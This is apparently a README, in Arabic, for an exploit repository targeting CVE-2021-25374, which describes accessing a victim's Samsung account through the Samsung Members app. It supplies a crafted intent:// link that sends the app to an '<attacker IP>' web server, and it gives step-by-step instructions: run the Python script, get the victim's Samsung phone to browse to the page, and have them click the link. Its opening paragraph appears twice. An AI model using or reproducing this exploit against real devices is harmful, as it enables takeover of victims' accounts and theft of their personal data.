reverseclabs/cve-2021-25374_samsung-account-accessيمكن استخدام هذا السكريبت للوصول إلى حساب سامسونج الخاص بالضحية إذا كان لديه إصدار معين من تطبيق Samsung Members مثبتًا على جهاز سامسونج الخاص به، وإذا كان جهاز الضحية من منطقة الولايات المتحدة أو كوريا.
يمكن استخدام هذا البرنامج النصي للوصول إلى حساب سامسونج الخاص بالضحية إذا كان لديه إصدار معين من تطبيق Samsung Members مثبتًا على جهاز سامسونج الخاص به، وإذا كان جهاز الضحية من منطقة الولايات المتحدة أو كوريا.
<a href="intent://launch?url=http://<attacker IP>:8000/yay.html&action=sso&from=ZZ&iso=ZZ#Intent;scheme=samsungrewards;package=com.samsung.android.voc;action=android.intent.action.VIEW;end;">yay click here yay</a>
ملاحظة: استبدل "<attacker IP>" بعنوان IP الذي ستقوم بتشغيل هذا البرنامج النصي منه.
python3 ./samsung_account_access.py
باستخدام هاتف سامسونج، تصفح خادم الويب وانقر على الرابط
دع البرنامج النصي يقوم بعمله
يمكن العثور على مزيد من المعلومات حول المشكلة التي يستغلها هذا البرنامج النصي هنا:
